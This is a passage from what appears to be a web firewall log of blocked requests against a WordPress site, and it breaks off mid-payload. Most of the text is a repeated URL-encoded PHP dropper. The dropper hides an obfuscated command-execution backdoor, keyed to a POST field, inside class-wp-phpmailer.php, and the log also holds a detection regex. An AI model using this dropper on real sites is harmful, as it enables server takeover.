524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252773%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group7%2520.%2520%252772%2527%2520.%2520%252775%2527%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group5%2520.%2520%252765%2527%2520.%2520%25276e%2527%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group1%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524parameter_group10%2520.%2520%25275f%2527%2520.%2520%2524parameter_group12%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%2524parameter_group10%2520.%2520%252765%2527%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group9%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group12%2520.%2520%25276c%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group9%2520.%2520%252765%2527%2529%253B%2524right_pad_string%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252772%2527%2520.%2520%2524parameter_group14%2520.%2520%252767%2527%2520.%2520%2524parameter_group7%2520.%2520%252774%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252764%2527%2520.%2520%25275f%2527%2520.%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group14%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group15%2529%253Bif%2528isset%2528%2524_POST%255B%2524right_pad_string%255D%2529%2529%257B%2524right_pad_string%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524right_pad_string%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524right_pad_string%252C%2524elem_ref%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524elem_ref%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524binding_key%253D%2524system_core5%2528%2524right_pad_string%252C%2522r%2522%2529%253Bif%2528%2524binding_key%2529%257B%2524entry_resource%253D%2524system_core6%2528%2524binding_key%2529%253B%2524system_core7%2528%2524binding_key%2529%253Bprint%2520%2524entry_resource%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:7735\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvISDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept:*\/*\n\nTT=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-phpmailer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524parameter_group1%2520%253D%2520%252765%2527%253B%2524parameter_group2%2520%253D%2520%25276d%2527%253B%2524parameter_group3%2520%253D%2520%25275f%2527%253B%2524parameter_group4%2520%253D%2520%252778%2527%253B%2524parameter_group5%2520%253D%2520%252770%2527%253B%2524parameter_group6%2520%253D%2520%252761%2527%253B%2524parameter_group7%2520%253D%2520%252768%2527%253B%2524parameter_group8%2520%253D%2520%25276f%2527%253B%2524parameter_group9%2520%253D%2520%252773%2527%253B%2524parameter_group10%2520%253D%2520%252774%2527%253B%2524parameter_group11%2520%253D%2520%252772%2527%253B%2524parameter_group12%2520%253D%2520%252763%2527%253B%2524parameter_group13%2520%253D%2520%25276e%2527%253B%2524parameter_group14%2520%253D%2520%252769%2527%253B%2524parameter_group15%2520%253D%2520%252767%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252779%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group2%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524parameter_group1%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252773%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group7%2520.%2520%252772%2527%2520.%2520%252775%2527%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group5%2520.%2520%252765%2527%2520.%2520%25276e%2527%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group1%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524parameter_group10%2520.%2520%25275f%2527%2520.%2520%2524parameter_group12%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%2524parameter_group10%2520.%2520%252765%2527%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group9%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group12%2520.%2520%25276c%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group9%2520.%2520%252765%2527%2529%253B%2524right_pad_string%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252772%2527%2520.%2520%2524parameter_group14%2520.%2520%252767%2527%2520.%2520%2524parameter_group7%2520.%2520%252774%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252764%2527%2520.%2520%25275f%2527%2520.%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group14%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group15%2529%253Bif%2528isset%2528%2524_POST%255B%2524right_pad_string%255D%2529%2529%257B%2524right_pad_string%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524right_pad_string%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524right_pad_string%252C%2524elem_ref%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524elem_ref%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524binding_key%253D%2524system_core5%2528%2524right_pad_string%252C%2522r%2522%2529%253Bif%2528%2524binding_key%2529%257B%2524entry_resource%253D%2524system_core6%2528%2524binding_key%2529%253B%2524system_core7%2528%2524binding_key%2529%253Bprint%2520%2524entry_resource%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:40:14","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> UL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-phpmailer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524parameter_group1%2520%253D%2520%252765%2527%253B%2524parameter_group2%2520%253D%2520%25276d%2527%253B%2524parameter_group3%2520%253D%2520%25275f%2527%253B%2524parameter_group4%2520%253D%2520%252778%2527%253B%2524parameter_group5%2520%253D%2520%252770%2527%253B%2524parameter_group6%2520%253D%2520%252761%2527%253B%2524parameter_group7%2520%253D%2520%252768%2527%253B%2524parameter_group8%2520%253D%2520%25276f%2527%253B%2524parameter_group9%2520%253D%2520%252773%2527%253B%2524parameter_group10%2520%253D%2520%252774%2527%253B%2524parameter_group11%2520%253D%2520%252772%2527%253B%2524parameter_group12%2520%253D%2520%252763%2527%253B%2524parameter_group13%2520%253D%2520%25276e%2527%253B%2524parameter_group14%2520%253D%2520%252769%2527%253B%2524parameter_group15%2520%253D%2520%252767%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252779%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group2%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524parameter_group1%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252773%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group7%2520.%2520%252772%2527%2520.%2520%252775%2527%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group5%2520.%2520%252765%2527%2520.%2520%25276e%2527%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group1%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524parameter_group10%2520.%2520%25275f%2527%2520.%2520%2524parameter_group12%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%2524parameter_group10%2520.%2520%252765%2527%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group9%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group12%2520.%2520%25276c%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group9%2520.%2520%252765%2527%2529%253B%2524right_pad_string%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252772%2527%2520.%2520%2524parameter_group14%2520.%2520%252767%2527%2520.%2520%2524parameter_group7%2520.%2520%252774%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252764%2527%2520.%2520%25275f%2527%2520.%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group14%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group15%2529%253Bif%2528isset%2528%2524_POST%255B%2524right_pad_string%255D%2529%2529%257B%2524right_pad_string%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524right_pad_string%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524right_pad_string%252C%2524elem_ref%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524elem_ref%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524binding_key%253D%2524system_core5%2528%2524right_pad_string%252C%2522r%2522%2529%253Bif%2528%2524binding_key%2529%257B%2524entry_resource%253D%2524system_core6%2528%2524binding_key%2529%253B%2524system_core7%2528%2524binding_key%2529%253Bprint%2520%2524entry_resource%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:7735\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIHjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\n\nUL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-phpmailer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524parameter_group1%2520%253D%2520%252765%2527%253B%2524parameter_group2%2520%253D%2520%25276d%2527%253B%2524parameter_group3%2520%253D%2520%25275f%2527%253B%2524parameter_group4%2520%253D%2520%252778%2527%253B%2524parameter_group5%2520%253D%2520%252770%2527%253B%2524parameter_group6%2520%253D%2520%252761%2527%253B%2524parameter_group7%2520%253D%2520%252768%2527%253B%2524parameter_group8%2520%253D%2520%25276f%2527%253B%2524parameter_group9%2520%253D%2520%252773%2527%253B%2524parameter_group10%2520%253D%2520%252774%2527%253B%2524parameter_group11%2520%253D%2520%252772%2527%253B%2524parameter_group12%2520%253D%2520%252763%2527%253B%2524parameter_group13%2520%253D%2520%25276e%2527%253B%2524parameter_group14%2520%253D%2520%252769%2527%253B%2524parameter_group15%2520%253D%2520%252767%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252779%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group2%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524parameter_group1%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252773%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group7%2520.%2520%252772%2527%2520.%2520%252775%2527%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group5%2520.%2520%252765%2527%2520.%2520%25276e%2527%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group1%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524parameter_group10%2520.%2520%25275f%2527%2520.%2520%2524parameter_group12%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%2524parameter_group10%2520.%2520%252765%2527%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group9%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group12%2520.%2520%25276c%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group9%2520.%2520%252765%2527%2529%253B%2524right_pad_string%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252772%2527%2520.%2520%2524parameter_group14%2520.%2520%252767%2527%2520.%2520%2524parameter_group7%2520.%2520%252774%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252764%2527%2520.%2520%25275f%2527%2520.%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group14%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group15%2529%253Bif%2528isset%2528%2524_POST%255B%2524right_pad_string%255D%2529%2529%257B%2524right_pad_string%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524right_pad_string%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524right_pad_string%252C%2524elem_ref%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524elem_ref%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524binding_key%253D%2524system_core5%2528%2524right_pad_string%252C%2522r%2522%2529%253Bif%2528%2524binding_key%2529%257B%2524entry_resource%253D%2524system_core6%2528%2524binding_key%2529%253B%2524system_core7%2528%2524binding_key%2529%253Bprint%2520%2524entry_resource%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:40:15","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-phpmailer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524parameter_group1%2520%253D%2520%252765%2527%253B%2524parameter_group2%2520%253D%2520%25276d%2527%253B%2524parameter_group3%2520%253D%2520%25275f%2527%253B%2524parameter_group4%2520%253D%2520%252778%2527%253B%2524parameter_group5%2520%253D%2520%252770%2527%253B%2524parameter_group6%2520%253D%2520%252761%2527%253B%2524parameter_group7%2520%253D%2520%252768%2527%253B%2524parameter_group8%2520%253D%2520%25276f%2527%253B%2524parameter_group9%2520%253D%2520%252773%2527%253B%2524parameter_group10%2520%253D%2520%252774%2527%253B%2524parameter_group11%2520%253D%2520%252772%2527%253B%2524parameter_group12%2520%253D%2520%252763%2527%253B%2524parameter_group13%2520%253D%2520%25276e%2527%253B%2524parameter_group14%2520%253D%2520%252769%2527%253B%2524parameter_group15%2520%253D%2520%252767%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252779%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group2%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524parameter_group1%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%